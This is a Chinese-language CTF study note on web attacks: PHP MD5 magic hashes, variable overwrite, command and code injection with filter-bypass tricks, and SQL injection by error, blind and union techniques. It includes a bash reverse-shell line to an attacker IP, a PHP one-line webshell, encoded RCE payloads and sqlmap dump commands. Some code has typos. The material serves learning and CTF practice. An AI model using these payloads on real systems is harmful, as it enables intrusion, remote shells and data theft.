"0"FALSETRUEFALSETRUEFALSEFALSETRUEFALSEFALSEFALSETRUEFALSE
"-1"TRUEFALSETRUEFALSETRUETRUEFALSETRUETRUETRUEFALSEFALSE
NULLTRUEFALSETRUEFALSETRUETRUEFALSETRUETRUETRUEFALSETRUE
array()TRUEFALSETRUEFALSETRUETRUEFALSETRUETRUETRUEFALSEFALSE
"php"FALSETRUEFALSETRUEFALSEFALSETRUEFALSEFALSEFALSETRUEFALSE
""FALSETRUEFALSETRUEFALSEFALSEFALSEFALSETRUEFALSEFALSETRUE

Md5绕过

https://www.bilibili.com/video/BV1qS421N7q8?p=77

https://www.cnblogs.com/ainsliaea/p/15126218.html

$a != $b
md5($a) == md5($b)

a和b不相等,但a和b的md5的值相等

都是以0e开头的字符串

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
240610708 
0e462097431906509019562988736854
314282422 
0e990995504821699494520356953734
571579406 
0e972379832854295224118025748221
903251147 
0e174510503823932942361353209384
1110242161 
0e435874558488625891324861198103
1320830526 
0e912095958985483346995414060832
1586264293 
0e622743671155995737639662718498
2302756269 
0e250566888497473798724426794462
2427435592 
0e067696952328669732475498472343
2653531602 
0e877487522341544758028810610885
3293867441 
0e471001201303602543921144570260
3295421201 
0e703870333002232681239618856220
3465814713 
0e258631645650999664521705537122
3524854780 
0e507419062489887827087815735195
3908336290 
0e807624498959190415881248245271
4011627063 
0e485805687034439905938362701775
4775635065 
0e998212089946640967599450361168
4790555361 
0e643442214660994430134492464512
5432453531 
0e512318699085881630861890526097
5579679820 
0e877622011730221803461740184915
5585393579 
0e664357355382305805992765337023
6376552501 
0e165886706997482187870215578015
7124129977 
0e500007361044747804682122060876
7197546197 
0e915188576072469101457315675502
7656486157 
0e451569119711843337267091732412
QLTHNDT 
0e405967825401955372549139051580
QNKCDZO 
0e830400451993494058024219903391
EEIZDOI 
0e782601363539291779881938479162
TUFEPMC 
0e839407194569345277863905212547
UTIPEZQ 
0e382098788231234954670291303879
UYXFLOI 
0e552539585246568817348686838809
IHKFRNS 
0e256160682445802696926137988570
PJNPDWY 
0e291529052894702774557631701704
ABJIHVY 
0e755264355178451322893275696586
DQWRASX 
0e742373665639232907775599582643
DYAXWCA 
0e424759758842488633464374063001
GEGHBXL 
0e248776895502908863709684713578
GGHMVOE 
0e362766013028313274586933780773
GZECLQZ 
0e537612333747236407713628225676
NWWKITQ 
0e763082070976038347657360817689
NOOPCJF 
0e818888003657176127862245791911
MAUXXQC 
0e478478466848439040434801845361
MMHUWUV 
0e701732711630150438129209816536

如果改为强相等

$a != $b
md5($a) === md5($b)

null === null
md5(arry) -> null

传入数组输入的话a[]=1或者其他

Md5碰撞:

第二层 $md5 == md5($md5)

需要一个md5 和md5(md5)都是以0e开头

md5md5($md5$)
0e2159620170e292124247694077684515308578724
0e002750299790e292124247694077684515308578724
0e00506357450e292124247694077684515308578724
0e00540481110e292124247694077684515308578724
0e00678205480e292124247694077684515308578724
0e00928150440e292124247694077684515308578724
0e013500161140e292124247694077684515308578724
0e013521380640e292124247694077684515308578724
0e013923130040e292124247694077684515308578724

利用 fastcoll 进行 md5 碰撞,生成两个字面值不同但 md5 相同的文件。 新建一个空的 txt 文档。

https://r2.kwxos.pp.ua/Qexo/24/4/7/7b7fbd3b550f6ebeb2b2ea74e5d5d306.png

然后拖到 exe 上,自动生成两个文件。

https://r2.kwxos.pp.ua/Qexo/24/4/7/5e0d0af9ca3d93b8e62556008d59e368.png

得到两个文件,通过代码读取即可。

https://r2.kwxos.pp.ua/Qexo/24/4/7/f1b9ea5f74714310b2f63b4704c409bc.png

<?php

$a = file_get_contents('D:tmp\a_msg1.txt');
$b = file_get_contents('D:tmp\a_msg2.txt');

print_r($a . "<br>");
print_r($b . "<br>");
print_r(var_dump($a === $b) . "<br>"); // bool(false)
print_r(var_dump(md5($a) === md5($b)) . "<br>"); // bool(true)

变量覆盖

https://www.cnblogs.com/xhds/p/12587249.html

用传参的值替换掉原有变量的值

PHP的extract() 函数

将键值 "Cat"、"Dog" 和 "Horse" 赋值给变量 $a、$b 和 $c:

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>

PHP的parse_str() 函数

把查询字符串解析到变量中:

<?php
parse_str("name=Peter&age=43");
echo $name."<br>";
	echo $age;
?>

CTF例题:

php
<?php
if (!isset($_GET[ 'id'])) {
show_source(_FILE_);
die;
}
include_once('flag.php' );
$a ="TESTCTF;
$id = $_GET[id'];
@parse_str($id);
if ($a[0] !='ONKCDZO' && md5($a[0]) == md5('ONKCDZO')){
die($flag);
} else{
die( 'emmm');
}

其中parse_str将查询解析到id中

md5('ONKCDZO')的md5值是0e836466451993494058024219903391,是0e后纯数字,

然后用的==,可以用弱口令,解决,任意找一个以0

e开头的md5,如上面提供的:s878926199a

然后传入参数?id=a[]=s878926199a

命令执行漏洞

通过易受攻击的应用程序在主机操作系统上执行任意命令,会用到一些执行系统命令的函数。如php中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意命令到正常命令中,造成命令执行攻击

如下,在执行system时进行了传参:

<?php
$username = $_GET['username'];
system("mkdir $username");

如果传入的username为 abc;cat /flag时,就会执行 mkdir abccat /flag命令,通过拼接进行

漏洞点位:

程序过滤不严谨,导致用户可以将代码注入并执行。

高位函数:eval()、assert()、preg_replace()、call_user_func()等等

对于执行命令函数,参数过滤不严谨,导致直接命令执行。

高位函数:system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()注:反引号是shell_exec()的别名

联合执行

  1. 分号 ;,各命令互不干扰
cmd1;cmd2;cmd3
  1. and &&,只有前一个命令执行,后一个命令才会执行
cmd1 && cmd2 && cmd3

3.or ||,在前一个命令出现错误时才运行下一个命令:

cmd1 || cmd2 || cmd3

4.or | ,前一个命令的结果作为后一个命令的参数

cmd1 | cmd2
例如:
echo xxx | base64
  1. 换行符
%0a
%0d

反弹shell

https://blog.csdn.net/weixin_44288604/article/details/111740527

例如:

攻击者:nc -lvp 9999

受害者:bash -i >& /dev/tcp/192.168.239.128/9999 0>&1

Bypass

  1. 如果过滤空格,使用下面字符
使用$IFS有如下方法:
${IFS}
$IFS$9
{cat,flag.php}
%20
%09
导入:<   如cat<flag.php
导出:<>   如cat<>flag.php
  1. 关键词被过滤
用反斜线绕过 \
ca\t fl\ag.php
用两个单引号绕过
cat fl''ag.php
base64编码绕过
echo "Y2FOIHkxbmcucGhw" | base64 -d | bash
用hex编码绕过
echo "6361742079316E672E706870" | xxd -r -p | bash
用 [] 匹配绕过
cat y1[n]g.php
用 * 匹配任意绕过
cat yIn*
执行a到z所有的字母:cat yl{a..z}g
内联执行绕过,如:
首先搜索ls下的fla,再执行cat:cat `ls | grep fla`
或者cat:cat $(ls | grep fla)
变量方式绕过
a=fl;b=ag;cat $a$b.php

在python中可以使用字符拼接执行

'a'+'b'
>>> 'ab'
'a''b'
>>>'ab'

代码执行漏洞

eval()函数 eval() 函数用来执行一个字符串表达式,并返回表达式的值。

字符串表达式可以包含变量、函数调用、运算符和其他 Python 语法元素。

一句话木马

<?php eval($_POST[0]);?>

无字母数字RCE

例:此题对字母和数字进行过滤

<?php
if(isset($_GET['code'])){
scode = $_GET['code'];
if(preg_match("/[a-z0-9]+/i",$code)){
die("NO.");
}
eval( $code);
}else{
highlight_file(_FILE_);
}
?>

可使用异或代码转义, 在此处运行: https://www.runoob.com/try/runcode.php?filename=demo_intro&type=php

<?php
$a = "cat";
for ($i = 0; $i < strlen($a); $i++) {
    echo "%" . dechex(ord($a[$i]) ^ 0xff);
}
echo "^";
for ($i = 0; $i < strlen($a); $i++) {
    echo "%ff";
}
?>

或者使用取反代码转义,

<?php
$a = "phpinfo";
echo "~(";
for ($i = 0; $i < strlen($a); $i++) {
    echo "%" . bin2hex($a[$i]);
    echo ")";
}
?>

然后将结果进行传入用()括起来 (~(%70)%68)%70)%69)%6e)%66)%6f))

如果长度限制,所有都限制使用

?><?=`/???/???%20*`;

?>表示代码结束

其中 <?表示short_tag,表示代码开始

<?=表示 <? echo

所以代码表示,所以会显示很多无关内容

/bin/cat flag.php

creat_function

creat_function用于创建函数

$code ="return($a+$b);}eval($_POST['YIng']);//”
$f=create_function('$a, $b', $code);
相当于得到 :
function f(sa, sb){
return $a+$b;
}
eval($_POST['YIng']);//}

其中 ;}用于闭合前面的函数,后面直接执行自己的命令,后面的 //用于注释后面未知的 }

MySql基础

RDBMS指关系型数据库管理系统。

01、显示数据库 show databases ;
02、打开数据库 use db_name;
03、显示数据表 show tables;
04、显示表结构 describe table_name;
05、显示表中各字段信息,即表结构 show columns from table_name;
06、显示表创建过程show create table 表名;
07、列出当前mysql的相关状态信息status;
08、删除数据库 drop database 数据库名;
09、清空数据表
delete from table_name;
truncate table table_name;
10、删除数据表
drop table table_name
11数据库连接:mysql -uroot -proot
12、数据库退出:exit
  1. 什么是sql注入:

SQL注入是一种将SQL代码插入或添加到应用的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务加以解析并执行凡是构造SQL语句的步骤均存在被潜在攻击的风险SQL注入的主要方式是直接将代码插入参数中,这些参数会被置入SQL命合中加以执行。 SQL注入产生的条件 : 用户控制了SQL语句的一部分,用户的输入不再是一个输入参数而成为了符合语法的SQL语句

https://r2.kwxos.pp.ua/Qexo/24/4/9/0836e24a6dd5b2680b6396fa4737c457.png

  1. SQL注入的类型

按回显方式划分:

有回显

联合查询 ->构造联合查询语句,直接查看查询结果

报错注入 ->构造报错语句,在报错中查看结果

堆查询 ->多行语句执行,进而实现想要达到的目的

无回显

盲注 ->布尔值/s时间型 通过某种手段“爆破”结果

报错注入

报错注入在没法用union联合查询时使用,但前提还是不能过滤一些关键函数

https://r2.kwxos.pp.ua/Qexo/24/4/9/6ccf787e648c48ca20a2c8634a8398cd.png

  1. Updatexml() 函数语法:updatexml(XML_document,XPath_string,new_value); 适用版本: 5.1.5+

    我们通常在第二个xpath参数填写我们要查询的内容。 updatexml是由于参数的格式不正确而产生的错误,同样也会返回参数的信息 payload: updatexml(1,concat(0x7e,(select user()) ,0x7e),1) 前后添加~使其不符合xpath格式从而报错.

第一个参数: XML_documet是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (XPath格式的字将串),如果不了解XPath语法,可以在网上责找教程,

第三个都拉:new_value,String格式,替换查找到的符合条件的数剧 作用。改变文档中符合条件的节点的值

例如:

https://r2.kwxos.pp.ua/Qexo/24/4/9/e79c2f63d0e6a103ddef8634ab80fa09.png

  1. extractvalue()

函数语法:EXTRACTVALUE (XMLdocument,XPath_string); 适用版本:5.1.5+ 利用原理与updatexml函数相同 payload: extractvalue(1,concat(0x7e,(select user()) ,0x7e))

其中0x7e目的是让查询语句100%报错

方法:

https://r2.kwxos.pp.ua/Qexo/24/4/9/0e35b6c0593ac6439fd1d17802e9408e.png

sqlmap方式:

https://r2.kwxos.pp.ua/Qexo/24/4/9/e4484c6ffe538b1bb4e1ca219e4cb1a4.png

sqlmap -u http://127.0.0.1:8000/\?student id\=2019122001 --dbs
sqlmap -u http://127.0.0.1:8000/\?student_id\=2019122001 -current-db
sqlmap -u http://127.0.0.1:8000/\?student_id\=2019122001 -D college -tables
sqlmap -u http://127.0.0.1:8000/\?student_id\=2019122001 -D college -T teacher --columns
salmap -u http://127.0.0.1:8000/\?student_id\=2019122001 -D college -T teacher --dump

盲注分类

布尔盲注-回显不同 布尔状态例如: 1.回显不同 (内容、长度) 时间盲注 - 响应时间不同 2.HTTP响应状态码不同 (200、500) 3.HTTP响应头变化(无条件重定向、设置cookie) 4.基于错误的布尔注入 (MySQL是否报错)

select * from users where id = '1' and substr((select database()),1,1) = 'a'
select * from users where id = '1' and substr((select database(),1,1) = 'c'

其中substr((select database()),1,1) = 'a',,1,1表示第一位返回一个字符,句子表示第一个字符是否为a,以此类推,判断首字母是否某个字母

其中substr((select database()),1,1)表示字符串的截取,= 'a'表示字符串的比较

盲注两大基本问题:字符串的截取比较

字符串的截取

substr() 和substring()

substr(str,pos)截取从pos位置开始到最后所有str字符串

substr(str,pos,len),一般使用此用法

注意pos是从1开始数的

若过滤了逗号,可以使用from和for进行截取

SELECT SUBSTR('2018-08-17',6,5);与SELECT SUBSTR('2018-08-17' FROM 6 FOR 5);

  1. mid()

https://r2.kwxos.pp.ua/Qexo/24/4/9/d97c71e242f06f133660986cfd314d33.png

  1. right()

表示从右边开始截取,只能1位与一位进行比较,2位用两位进行截取

使用时,用ascii()套用

如:ascii(right('abcde',1)),也可与比较连用,正确为1错误为0

https://r2.kwxos.pp.ua/Qexo/24/4/9/154abead833fcf569caff2b2a27a3982.png

  1. left()

与reverse()连用将字符倒过来再套ascii()码

  1. trim()

用于移除字首和字尾的空白

https://r2.kwxos.pp.ua/Qexo/24/4/9/53699d66aecea11487f1d00ac53e0c29.png

https://r2.kwxos.pp.ua/Qexo/24/4/9/a6ae5bf3ca82105375ea3a339f83303b.png

https://r2.kwxos.pp.ua/Qexo/24/4/9/ee287d1bac611625a754ad8697dad052.png

截取方法:

测试返回值是否相等

https://r2.kwxos.pp.ua/Qexo/24/4/9/9ddd1ef3a18a96ed9eea97929af10b52.png

比较

  1. like

我们知道在 MySQL 中使用 SQL SELECT 命令来读取数据, 同时我 们可以在 SELECT 语句中使用 WHERE 子句来获取指定的记录。 WHERE 子句中可以使用等号 =来设定获取数据的条件,如"runoob_author ='RUNOOB.COM'" 但是有时候我们需要获取 runoob_author 字段含有“COM”字符的所有记录,这时我们就需要在 WHERE 子句中使用SQL LIKE 子句SQL LIKE 子句中使用百分号 %字符来表示任意字符,类似于UNIX或正则表达式中的星号*。 如果没有使用百分号 %,LIKE 子句与等号 =的效果是一样的

  1. 正则表达式regexp rlike

https://r2.kwxos.pp.ua/Qexo/24/4/9/7df221662f11bfd02a16e970308e840f.png

此用法大小写不敏感,只需要加上binary,即可使其大小写敏感

https://r2.kwxos.pp.ua/Qexo/24/4/9/df474b155d877cbcca9ca8228dca851c.png

  1. Between

https://r2.kwxos.pp.ua/Qexo/24/4/9/538919e702a916774c1e0d330625c600.png

  1. in

大小写不敏感

https://r2.kwxos.pp.ua/Qexo/24/4/9/882ab880322d32d50d437f1e4e16bad4.png

5.异或

在不允许使用注释符时可用,等号不能用时使用异或

https://r2.kwxos.pp.ua/Qexo/24/4/9/d942b39448f9925120ed36902b72fd44.png

延时盲注

  1. 条件表达式

https://r2.kwxos.pp.ua/Qexo/24/4/9/33a2cd020d2d317fb8389e0e6d17f5e6.png

  1. 基本姿势

Sleep(x)睡眠x秒

https://r2.kwxos.pp.ua/Qexo/24/4/9/8ee0b2fa0dc8916e1189939282b341af.png

  1. benchmark

https://r2.kwxos.pp.ua/Qexo/24/4/9/b895495c32f2c63d71a5b0826e1d895d.png

  1. 笛卡尔积

https://r2.kwxos.pp.ua/Qexo/24/4/9/5936158d9a04646db653bc787cf9bba9.png

  1. get_lock

https://r2.kwxos.pp.ua/Qexo/24/4/9/957bcdf0fb74a7bcf31dc43900c6aace.png

  1. 正则表达式

https://r2.kwxos.pp.ua/Qexo/24/4/9/4af798998cacdde170b3ca82209bcc24.png

  1. 报错盲注

exp()和cot()

https://r2.kwxos.pp.ua/Qexo/24/4/9/93ff1e043c0957e8ed1d400de3d5bff2.png

sql联合查询

order by 猜列数

union 表示联合

union select 跟列数找到回显点,对应的地方放查询语句

<?php
if (isset($_REQUEST['Submit'])) {
    // Get input
    $id = $_REQUEST["id"];
    // Check database
    $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>');
    // Get results
    $num = mysql_numrows($result);
    $i = 0;
    while ($i < $num) {
        // Get values
        $first = mysql_result($result, $i, "first_name");
        $last = mysql_result($result, $i, "last_name");
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        // Increase loop count
        $i++;
    }
    mysql_close();
}
?>

此处代码,并未对输入参数进行校验,使得用户可以进行通过命令拼接,进行sql查询注入

  1. 判断是字符型还是数字型

例如字符型:

where user_id ='$id'
或者
where user_id = 'abc'
即被引号包裹的即为字符型

例如数字型:

where user_id = 123
未被引号包裹,即为数字型
  1. sql注入测试,输入
1' or '1234' = '1234

如果执行成功,则表示存在sql注入点,且,经过猜测,字符型执行成功,则此处是字符型

  1. 猜行数
1' or '1' = '1' order by 1 #
此处order by 来设定你想按哪个字段哪种方式进行排序,后接1,则以第一列来进行排序,可指定第几列 其中#是注释后面的所有代码
  1. 联合查询 union
1' union select 1,2 #
若联合查询成功,则可以进行后面数据库查询,union后面的字段数需要和前面相同
  1. 当前数据库database()
1'union select 1,database() #
  1. 获取当前数据库的表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

group_concat(),意思是将所有的查询结果放到一行。并用,号隔开

information_schema,在MySQL中,把information_schema看做是一个数据表,是信息数据库,保存着冠以MySQL服务器所维护的信息,如数据库名,数据库表,数据库的表,表栏的数据类型与访问权限等。其中有很多只读表。实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息 (包括视图)。详细表述了某个表属于哪个 schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

  1. 或取table_name为users的表字段
1' union select 1,group_concat(column_name) from
information_schema.columns where table_name='users' #
  1. 查询数据
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
  1. 若不能用group_concat()则使用limit
select * from user limit 5,1;
从第五行开始回显一个结果

socks

EW:https://github.com/idlefire/ew

FRP:https://github.com/fatedier/frp/blob/dev/README_zh.md

proxychains:https://zhuanlan.zhihu.com/p/166375631

https://proxychains.sourceforge.net/